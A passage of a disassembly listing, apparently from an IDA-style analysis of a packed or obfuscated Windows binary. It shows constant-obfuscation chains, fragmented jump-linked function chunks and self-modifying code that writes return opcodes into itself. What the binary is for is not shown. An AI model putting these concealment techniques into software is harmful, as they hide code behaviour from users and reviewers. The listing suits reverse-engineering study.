; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_752C5B:				; CODE XREF: sub_74AAC1:loc_74BA8Dj
		mov	eax, edx
		call	sub_747892
		mov	eax, [esp+0]
		push	eax
		push	0FFF49FC4h
		pop	eax
		sub	eax, 2E382931h
		add	eax, 2EB8F16Eh
		jmp	loc_745BAB
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------


loc_752C7D:				; CODE XREF: _0z4jwtox:loc_753D09j
		and	ebx, eax
		call	sub_75310B
		push	offset loc_753ABC
		jmp	loc_74BAAA

; =============== S U B	R O U T	I N E =======================================



sub_752C8E	proc near		; CODE XREF: _0z4jwtox:0074C043j
					; _0z4jwtox:00752866p

; FUNCTION CHUNK AT 0074E50B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F14C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00750490 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007508D6 SIZE 00000010 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	0DC29D0D0h
		pop	edx
		or	edx, 0DB597D16h
		rol	edx, 12h
		sub	edx, 72057782h
		jmp	loc_74E50B
sub_752C8E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75100C


loc_752CAC:				; CODE XREF: sub_75100C-33B9j
		xchg	esi, [esp+4+var_4]
		push	edi
		push	0E1436DD0h
		pop	edi
		or	edi, 7A78786Bh
		add	edi, 4F9F853h
		jmp	loc_756B01
; END OF FUNCTION CHUNK	FOR sub_75100C
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_74FA24
; ---------------------------------------------------------------------------


loc_752CCD:				; CODE XREF: _0z4jwtox:loc_7512B2j
		or	eax, 0CBAB7E26h
		rol	eax, 17h
		xor	eax, 8154E685h
		call	sub_746E93
		jmp	loc_74CB89
; ---------------------------------------------------------------------------


loc_752CE6:				; CODE XREF: _0z4jwtox:0075688Bj
		test	ebx, 80000h
		jmp	loc_747E95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_752CF1:				; CODE XREF: sub_7543C5-6A76j
		pop	esi
		xor	esi, 2FC99C72h
		sub	esi, 2F0AB6D7h
		xor	esi, 93E3A962h
		add	eax, esi
		jmp	loc_752A14
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A094


loc_752D0B:				; CODE XREF: sub_74A094:loc_754D40j
		call	sub_7572D3

locret_752D10:				; CODE XREF: sub_7473D1:loc_7575BCj
		retn
; END OF FUNCTION CHUNK	FOR sub_74A094

; =============== S U B	R O U T	I N E =======================================



sub_752D11	proc near		; CODE XREF: sub_74952C:loc_749C5Fj
					; sub_74A96E+C3BAp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007455CD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00745FF8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746843 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00746B63 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00746EFB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00747088 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 007485A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074885F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00748918 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074901D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074987B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074AC87 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074B0C0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074BEFE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074C928 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074CE96 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074D6FC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074E033 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074E2B0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074E43B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074EACC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074ED04 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007501C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007506CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750CC2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00750D97 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00750DCD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00750E81 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00752488 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 007529FB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 007542F1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00754747 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007573B1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007575DE SIZE 00000005 BYTES

		xchg	ecx, [esp+4+var_4]
		pop	ecx
		add	eax, 9D8F1281h
		mov	eax, [eax]
		popf
		jmp	loc_74885F
sub_752D11	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_752D23:				; CODE XREF: _0z4jwtox:00749B35j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AF9C


loc_752D24:				; CODE XREF: sub_74AF9C-2928j
					; sub_755E40:loc_7496A2j
		jmp	loc_7458C4
; END OF FUNCTION CHUNK	FOR sub_74AF9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_752D29:				; CODE XREF: sub_74AE46-4ED5j
		mov	edx, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		call	sub_753D0E
		mov	eax, [esp+0]
		push	ecx
		push	0EBA41534h
		jmp	loc_756226
; END OF FUNCTION CHUNK	FOR sub_74AE46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75701A


loc_752D42:				; CODE XREF: sub_75701A+Fj
		add	eax, 564880A9h
		or	eax, 26B4E48Bh
		add	eax, 771246ADh
		push	ecx
		push	20FBC3BEh
		jmp	loc_75702E
; END OF FUNCTION CHUNK	FOR sub_75701A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_752D5F:				; CODE XREF: sub_74C2C9:loc_750F19j
		xor	eax, eax
		mov	ds:dword_74B2AC, eax
		jmp	loc_7485E0
; END OF FUNCTION CHUNK	FOR sub_74C2C9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_752D6B	proc near		; CODE XREF: sub_74C2C9j

; FUNCTION CHUNK AT 00751200 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_751200
sub_752D6B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_752D73:				; CODE XREF: sub_7557E7:loc_7502ABj
		jz	loc_756F7C
; END OF FUNCTION CHUNK	FOR sub_7557E7
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_752D79:				; CODE XREF: sub_74AE46+601Cj
		jmp	sub_746CF0
; END OF FUNCTION CHUNK	FOR sub_74AE46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754729


loc_752D7E:				; CODE XREF: sub_754729-8E59j
		jmp	loc_7495F0
; END OF FUNCTION CHUNK	FOR sub_754729
; ---------------------------------------------------------------------------
		ror	ecx, 8
		jmp	loc_756F72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_752D8B:				; CODE XREF: sub_747736:loc_752203j
		ja	loc_7477B1
		jmp	loc_7494F7
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_752D96:				; CODE XREF: sub_74946E:loc_74B65Aj
		mov	eax, [esp+0]
		call	sub_746CF0
		retn
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_752D9F:				; CODE XREF: sub_747C22:loc_754CA5j
		jmp	loc_7469CF
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_752DA4:				; CODE XREF: _0z4jwtox:007470BBj
		jmp	loc_754F78
; ---------------------------------------------------------------------------
		db 0C7h, 3Eh, 59h
dword_752DAC	dd 0							; sub_74946E+6r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E451


loc_752DB0:				; CODE XREF: sub_74E451+7E36j
		jmp	nullsub_250
; END OF FUNCTION CHUNK	FOR sub_74E451

; =============== S U B	R O U T	I N E =======================================



sub_752DB5	proc near		; CODE XREF: sub_4123B8+DEp
					; sub_752DB5+5j
					; DATA XREF: ...
		call	sub_74F69D
		jmp	ds:off_41F13C
sub_752DB5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7513E4


loc_752DC0:				; CODE XREF: sub_7513E4:loc_75475Fj
					; sub_7513E4+3390j
		add	ebx, 75C24A19h


loc_752DC6:				; CODE XREF: _0z4jwtox:loc_74F735j
		xchg	ebx, [esp-8+arg_4]
		jmp	sub_74A3AB
; END OF FUNCTION CHUNK	FOR sub_7513E4
; ---------------------------------------------------------------------------


loc_752DCE:				; CODE XREF: _0z4jwtox:loc_748C08j
		push	ecx
		jbe	loc_74E6E1
		or	edx, 309E3AFBh
		cdq
		jmp	loc_752A88

; =============== S U B	R O U T	I N E =======================================



sub_752DE1	proc near		; CODE XREF: _0z4jwtox:00747C85j
					; sub_746E93+2343p

; FUNCTION CHUNK AT 00756671 SIZE 00000007 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		or	edx, edx
		jnz	loc_756671
		jmp	loc_74CA50
sub_752DE1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_752DF2	proc near		; DATA XREF: _0z4jwtox:00750486o

; FUNCTION CHUNK AT 00745458 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074565A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00746EF0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074D0CE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0074E3E1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 007522F7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00753CA1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755C8F SIZE 00000013 BYTES

		add	edx, 0E435235Eh
		add	edx, ebp
		add	edx, 1D12488h
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_74565A
sub_752DF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_752E09	proc near		; CODE XREF: sub_74BF3A-5511p
					; _0z4jwtox:0074FBEBj
		xchg	ebx, [esp+0]
		pop	ebx
		pop	ebp
		retn
sub_752E09	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_752E0F	proc near		; CODE XREF: sub_745685+4p
					; sub_74594D+7j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745833 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B31D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074C119 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_745833
sub_752E0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_752E17	proc near		; DATA XREF: sub_74FC30-65F0o

; FUNCTION CHUNK AT 0074C0CD SIZE 00000005 BYTES

		push	eax
		call	sub_74C2C9
		mov	ds:dword_74B2A0, eax
		mov	ds:byte_74B290,	1
		call	sub_74BF3A


loc_752E2E:				; CODE XREF: sub_749010-90j
		add	eax, 0DC454013h
		or	eax, 0B986779Dh


loc_752E3A:				; CODE XREF: sub_7510EA:loc_74E6D8j
		add	eax, 0CE95A7h
		popf
		xchg	eax, [esp+0]
		jmp	loc_74C0CD
sub_752E17	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_752E49:				; CODE XREF: sub_747C39+A397j
		rol	eax, 18h
		xor	eax, 0B6BACEAh
		add	eax, 843D4594h
		add	eax, ebp
		add	eax, 93C25282h
		jmp	loc_751E50
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
aShVnbBJBis	db '',0Ah             ; DATA XREF: sub_747AEC+56C7o
		db 'ShVb[æb',0
aE		db 'E',0
		align 2


loc_752E7A:				; CODE XREF: _0z4jwtox:0074C96Bj
		jz	loc_750DA9
		jmp	loc_7550EC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_289. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_752E86:				; CODE XREF: _0z4jwtox:00745BDCj
		jmp	loc_74C7FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514BF


loc_752E8B:				; CODE XREF: sub_7514BF:loc_745964j
		jz	loc_748482
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_746E37


loc_752E9A:				; CODE XREF: sub_755FD6+Ej
		jmp	loc_751442
; END OF FUNCTION CHUNK	FOR sub_7514BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747892


loc_752E9F:				; CODE XREF: sub_747892+4j
		jmp	loc_7578D4
; END OF FUNCTION CHUNK	FOR sub_747892
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749254


loc_752EA4:				; CODE XREF: sub_749254:loc_74A91Cj
		add	esi, 1EEDACABh
		xchg	esi, [esp-8+arg_4]
		jmp	sub_74A3AB
; END OF FUNCTION CHUNK	FOR sub_749254
; ---------------------------------------------------------------------------


loc_752EB2:				; CODE XREF: _0z4jwtox:00749461j
		adc	edi, 0A33F3F2Ah

; =============== S U B	R O U T	I N E =======================================



sub_752EB8	proc near		; CODE XREF: _0z4jwtox:007484E8p

; FUNCTION CHUNK AT 00746BCB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00746E5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007549EA SIZE 00000016 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	9CF13FE1h
		pop	edx
		xor	edx, 73E03CD4h
		or	edx, 3250B588h
		jmp	loc_7549EA
sub_752EB8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_752ED3:				; CODE XREF: _0z4jwtox:0074B199j
		xor	eax, 576FC404h


loc_752ED9:				; CODE XREF: _0z4jwtox:0074E4E1j
		call	sub_74E95A
; START	OF FUNCTION CHUNK FOR sub_754DFF


loc_752EDE:				; CODE XREF: sub_754DFF+2Ej
		jmp	nullsub_7
; END OF FUNCTION CHUNK	FOR sub_754DFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_752EE3:				; CODE XREF: sub_74F73B-57EBj
		jmp	loc_74CEBE
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F1FE


loc_752EE8:				; CODE XREF: sub_74F1FE-9381j
		jmp	loc_756264
; END OF FUNCTION CHUNK	FOR sub_74F1FE
; ---------------------------------------------------------------------------
		jns	loc_7509A6
		jmp	sub_74FA7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75247E


loc_752EF8:				; CODE XREF: sub_75247E:loc_752483j
		mov	eax, [ebp-14h]
		push	offset loc_755DCB
		jmp	nullsub_100
; END OF FUNCTION CHUNK	FOR sub_75247E
; ---------------------------------------------------------------------------


loc_752F05:				; CODE XREF: _0z4jwtox:00753806j
		mov	eax, 1
		shl	eax, cl
		not	eax
		and	ebx, eax
		push	ebx
		push	4C592BAEh
		pop	ebx
		rol	ebx, 7
		jmp	loc_749318
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_752F1F:				; CODE XREF: sub_74D782-7984j
		mov	eax, offset dword_74C2F8
		push	offset sub_747F9D
		jmp	nullsub_264
; END OF FUNCTION CHUNK	FOR sub_74D782
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 0FFFF6005h

; =============== S U B	R O U T	I N E =======================================



sub_752F34	proc near		; CODE XREF: sub_749010+676Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074AC4E SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	ecx, [esp-4+arg_0]
		mov	ebp, ecx


loc_752F3D:				; CODE XREF: _0z4jwtox:loc_7563FDj
		pop	ecx
		jmp	loc_74AC4E
sub_752F34	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_752F43:				; CODE XREF: _0z4jwtox:0074F2E0j
		pushf
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_752F44:				; CODE XREF: sub_7474B9:loc_74F2CDj
		add	edx, 0C314430Dh
		call	sub_74EA54


loc_752F4F:				; CODE XREF: _0z4jwtox:0074BE40j
		jmp	loc_74FE3B
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E93


loc_752F54:				; CODE XREF: sub_746E93+6j
		jmp	loc_74AB46
; END OF FUNCTION CHUNK	FOR sub_746E93
; ---------------------------------------------------------------------------


loc_752F59:				; CODE XREF: _0z4jwtox:loc_754C5Cj
		add	edi, 7C8C577Ch
		or	edi, 462EA7C3h
		add	edi, 99762641h
		mov	edi, [edi]
		xchg	edi, [esp]
		retn
; ---------------------------------------------------------------------------


loc_752F71:				; CODE XREF: _0z4jwtox:0074C5FCj
		jmp	loc_756671

; =============== S U B	R O U T	I N E =======================================



sub_752F76	proc near		; CODE XREF: sub_7468F2+2D82j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074B8F0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00752355 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00757597 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, ebp
		jmp	loc_757597
sub_752F76	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75143A


loc_752F7F:				; CODE XREF: sub_75143A+3j
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_74B958
		or	eax, eax
		jnz	loc_74E9F5
		jmp	loc_74915C
; END OF FUNCTION CHUNK	FOR sub_75143A
; ---------------------------------------------------------------------------


loc_752F96:				; CODE XREF: _0z4jwtox:0074AE12j
		pop	edi
		popf
		xor	esi, 0FE9E3797h
		shr	edx, 0Eh
; START	OF FUNCTION CHUNK FOR sub_74D4D3


loc_752FA1:				; CODE XREF: sub_74D4D3:loc_74AE02j
		add	ebx, 0B2A7C25Bh
		jmp	loc_753D44
; END OF FUNCTION CHUNK	FOR sub_74D4D3

; =============== S U B	R O U T	I N E =======================================



sub_752FAC	proc near		; DATA XREF: _0z4jwtox:0074DFD7o
		lea	eax, loc_745969
		mov	byte ptr [eax],	0C3h
		jmp	loc_745969
sub_752FAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_752FBA	proc near		; CODE XREF: sub_404ECE+1EEp
					; sub_405815+38p ...
		call	sub_752FC5
		jmp	ds:off_41F074
sub_752FBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_752FC5	proc near		; CODE XREF: sub_752FC5:loc_749C6Aj
					; _0z4jwtox:0074EC17j ...

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00745C7B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00749C6A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E422 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074EC1C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0075057B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00753E72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007566E6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00757682 SIZE 00000005 BYTES

		jo	loc_74EC1C
		pop	edx
		jmp	loc_7566E6
sub_752FC5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_752FD1:				; CODE XREF: sub_747C39:loc_75671Fj
		pop	esi
		lea	eax, sub_74C3B3
		mov	byte ptr [eax],	0C3h
		jmp	sub_74C3B3
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C3B3


loc_752FE0:				; CODE XREF: sub_74C3B3j
		pop	edx
		push	offset loc_74976C
		jmp	nullsub_103
; END OF FUNCTION CHUNK	FOR sub_74C3B3
; ---------------------------------------------------------------------------


loc_752FEB:				; CODE XREF: _0z4jwtox:00756EF4j
		add	eax, 7407BC01h
		rol	eax, 1Dh
		call	sub_748D38
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_752FF9:				; CODE XREF: sub_7561AB-3A43j
		jmp	loc_7455A6
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CD80


loc_752FFE:				; CODE XREF: sub_74CD80+507j
		jmp	loc_754F07
; END OF FUNCTION CHUNK	FOR sub_74CD80
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75043C


loc_753004:				; CODE XREF: sub_75043C+1Cj
		jmp	loc_74A554
; END OF FUNCTION CHUNK	FOR sub_75043C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A3AB


loc_753009:				; CODE XREF: sub_74A3AB+417Fj
		jmp	nullsub_178
; END OF FUNCTION CHUNK	FOR sub_74A3AB
; ---------------------------------------------------------------------------
		sbb	edi, 0FCE3B991h
		jmp	loc_74567F

; =============== S U B	R O U T	I N E =======================================



sub_753019	proc near		; CODE XREF: sub_74724C+1D3Cp
					; _0z4jwtox:007490CBj ...

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+0]
		call	sub_754E36
		push	1166777Fh
		jmp	loc_74FCA6
sub_753019	endp

; ---------------------------------------------------------------------------


loc_753035:				; CODE XREF: _0z4jwtox:0074D916j
					; _0z4jwtox:loc_7551D9j
		test	ebx, 6DFA4219h
		jmp	loc_74F9E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E451


loc_753040:				; CODE XREF: _0z4jwtox:loc_746670j
					; sub_74E451+78F3j
		push	1A53BB0Dh
		xchg	ebx, [esp+0]
		mov	eax, ebx
		pop	ebx
		and	eax, 0B12CE0F7h
		jmp	loc_75627C
; END OF FUNCTION CHUNK	FOR sub_74E451
; ---------------------------------------------------------------------------
		push	0E369EF81h
		pop	edx
		or	edx, 0EE72A06Fh
		add	edx, 0F09DB933h
		sub	edx, 0AB16B98h
		xor	edx, 672A89BCh
		call	sub_74B525
		push	eax
		jmp	loc_74E9E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748357


loc_75307F:				; CODE XREF: sub_748357+18j
		jz	loc_74669D
; END OF FUNCTION CHUNK	FOR sub_748357
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_753085:				; CODE XREF: sub_74C0A0+4592j
		jmp	nullsub_104
; END OF FUNCTION CHUNK	FOR sub_74C0A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74894B


loc_75308A:				; CODE XREF: sub_74894B+Bj
		jmp	loc_755247
; END OF FUNCTION CHUNK	FOR sub_74894B
; ---------------------------------------------------------------------------
		xor	edi, 9E35D73Eh
		jmp	loc_74669A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_246. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_75309B	proc near		; CODE XREF: _0z4jwtox:0074FB84j
					; sub_749306+A197p

; FUNCTION CHUNK AT 00747DB5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074AAD4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074AC63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00751E34 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	edx, 61CC3614h
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_74AC63
sub_75309B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7530AE	proc near		; DATA XREF: _0z4jwtox:0074BDCEo
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_290
sub_7530AE	endp

; ---------------------------------------------------------------------------


loc_7530B6:				; CODE XREF: _0z4jwtox:0074FFEEj
		mov	eax, [esp]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		call	sub_74A5E8
		jmp	loc_746DCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756A7E


loc_7530C9:				; CODE XREF: sub_756A7E:loc_7523AEj
		or	esi, 5BF4FA60h
		add	esi, 207DE4D4h
; END OF FUNCTION CHUNK	FOR sub_756A7E
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_7530D5:				; CODE XREF: sub_74C670-4AA6j
		xchg	esi, [esp-4+arg_0]
		jmp	loc_74DA5D
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514BF


loc_7530DD:				; CODE XREF: _0z4jwtox:loc_74BE7Cj
					; sub_7514BF:loc_751442j
		xor	eax, eax
		push	offset sub_748B29
		jmp	nullsub_105
; END OF FUNCTION CHUNK	FOR sub_7514BF
; ---------------------------------------------------------------------------
		cmp	ebx, eax
		jmp	loc_74CF29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E451


loc_7530F0:				; CODE XREF: sub_74E451:loc_74E46Cj
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+8]
		mov	[edx-18h], eax
		jmp	loc_752397
; END OF FUNCTION CHUNK	FOR sub_74E451
; ---------------------------------------------------------------------------
		ror	ebp, 19h
		jmp	sub_755E40
; ---------------------------------------------------------------------------


loc_753109:				; CODE XREF: _0z4jwtox:0074BECFj
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_75310B	proc near		; CODE XREF: sub_74E58E-8762j
					; _0z4jwtox:00746C93j ...
		mov	eax, 0A609649Fh
		retn
sub_75310B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747109


loc_753111:				; CODE XREF: sub_747109+Dj
		jmp	loc_74A0DE
; END OF FUNCTION CHUNK	FOR sub_747109

; =============== S U B	R O U T	I N E =======================================



sub_753116	proc near		; CODE XREF: sub_7499A5+4p

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 0074A416 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00751097 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007512DF SIZE 00000005 BYTES

		push	eax
		jmp	loc_74A416
sub_753116	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_75311C:				; DATA XREF: sub_749B76-366o
		test	al, al
		jnz	loc_7488E0
		call	sub_747379


loc_753129:				; CODE XREF: _0z4jwtox:0074C517j
		jmp	loc_74EB33

; =============== S U B	R O U T	I N E =======================================



sub_75312E	proc near		; CODE XREF: sub_40656E+13Fp
					; _0z4jwtox:00753445j
					; DATA XREF: ...
		push	ebx
		push	37AABB7Fh
		pop	ebx
		or	ebx, 0C3C9F857h
		jmp	loc_74990B
sub_75312E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A67


loc_753140:				; CODE XREF: sub_747A67+3F3Dj
		push	offset sub_74A1BE
		jmp	nullsub_106
; END OF FUNCTION CHUNK	FOR sub_747A67
; ---------------------------------------------------------------------------


loc_75314A:				; CODE XREF: _0z4jwtox:loc_74F576j
		push	0AF1E9F3Bh
		pop	edx
		sub	edx, 2B3867B7h
		rol	edx, 3
		xor	edx, 0B35816Eh
		or	edx, 6FBD1A97h
		add	edx, 80B7C143h
		jmp	loc_74C036
; ---------------------------------------------------------------------------


loc_753170:				; CODE XREF: _0z4jwtox:0074C94Aj
		jnz	loc_7527E0

; =============== S U B	R O U T	I N E =======================================



sub_753176	proc near		; CODE XREF: sub_748C0D:loc_747296p

; FUNCTION CHUNK AT 00746D99 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00747CF1 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00748641 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007491EB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074932E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074BAC0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074BFA3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074D3CE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750DFF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00755B41 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		sub	al, 99h
		jmp	loc_748641
sub_753176	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E3F7


